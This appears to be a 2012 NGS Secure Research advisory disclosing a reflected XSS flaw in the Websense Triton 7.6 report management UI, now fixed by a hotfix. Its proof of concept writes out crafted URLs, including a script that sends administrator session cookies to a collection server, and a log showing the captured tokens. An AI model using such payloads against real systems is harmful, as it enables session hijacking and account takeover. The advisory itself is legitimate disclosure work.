Websense (Triton 7.6) Cross Site Scripting

`=======  
Summary  
=======  
Name: Websense (Triton 7.6) reflected XSS in report management UI   
Release Date: 30 April 2012  
Reference: NGS00137  
Discoverer: Ben Williams <[email protected]>  
Vendor: Websense  
Vendor Reference:   
Systems Affected:   
Risk: Medium  
Status: Fixed  
  
========  
TimeLine  
========  
Discovered: 24 October 2011  
Released: 2 November 2011  
Approved: 2 November 2011  
Reported: 2 November 2011  
Fixed: 2 December 2011  
Published: 30 April 2012  
  
===========  
Description  
===========  
Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture authentication session tokens.  
  
The exploit would require an attacker to:  
  
- Know the IP address or hostname of the Websense system  
- Get the administrator to click on a crafted URL  
- The exploit will work with the administrator logged out  
  
=================  
Technical Details  
=================  
  
I. VULNERABILITY  
-------------------------  
Websense (Triton 7.6) reflective XSS in report management UI  
  
II. BACKGROUND  
-------------------------  
Websense is one of the world's best known web-filter products.  
  
The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products  
  
http://www.websense.com/  
  
III. DESCRIPTION  
-------------------------  
Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture of authentication session tokens.  
  
This allows an attacker to gain access to the reporting UI (by session hijacking) or run arbitrary javasript in the context of the administrators browser and the Websense administrative UI.  
  
IV. PROOF OF CONCEPT  
-------------------------  
Affected URL:  
  
https://192.168.1.67:9443/explorer_wse/detail.exe  
  
Examples:  
  
Pop-up showing some session-cookies  
  
https://192.168.1.67:9443/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>alert(document.cookie)</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360  
  
Send the current session-cookies to a credentials-collection server:  
  
https://192.168.1.67:9443/explorer_wse/detail.exe?c=cat&cat=153&anon=&startDate=2011-10-22&endDate=2011-10-22&session=a434cf98f3a402478599a71495a4a71e&dTitle=Internet_use_by_Category"><script>document.location=unescape("http://192.168.1.64/"%2bencodeURIComponent(document.cookie))</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360  
  
>From the collection servers web logs:  
  
192.168.1.64 - - [24/Oct/2011:12:30:00 +0100] "GET/WS_ADMIN_WEB_CONFIG=%22%7BuiLanguage=en,%20baseUrl-https=https://192.168.1.67:9443/mng/,%20baseUrl-http=http://192.168.1.67:8080/mng/,%20loginPageUrl=login/pages/loginPage.jsf,%20keepAliveUrl=login/images/spacer.gif,%20helpBaseURL=https://192.168.1.67:9443/onlinehelp/en/%7D%22;%20WS_JAVA_SESSION_INFO=%22{id=1A8736BC74BC6521CA63D1583B96A8E8,%20ttl=1800}%22;%20WS_SHARED_SESSION=%22{uid=YWRtaW4=,%20userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F5CF029F7967E8C92C3F7193EABE67F652A,%20domain=192.168.1.67,%20sharedSesId=7062414478986846786,%20userType=local}%22;%20WSIRPT=timestamp%3D1319455805  
HTTP/1.1" 404 802 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:6.0.2)  
Gecko/20100101 Firefox/6.0.2"  
  
The cookies can be added to the attackers browser and used to login to the report area; manipulate reports, report schedules, etc.  
  
The main concern however is the ability for the attacker to run javascript in the context of the administrators browser and the administrative UI.  
  
Though there does appear to be a session token specified in the url requests (a434cf98f3a402478599a71495a4a71e) this can be changed without affecting the exploit's effectiveness.  
  
The exploit will also work with the administrator logged-out - so there seem to be some session-management issues.  
  
===============  
Fix Information  
===============  
This issue is addressed in Hotfix 24, which can be downloaded at:  
https://www.websense.com/content/mywebsense-hotfixes.aspx  
  
NGS Secure Research  
http://www.ngssecure.com  
`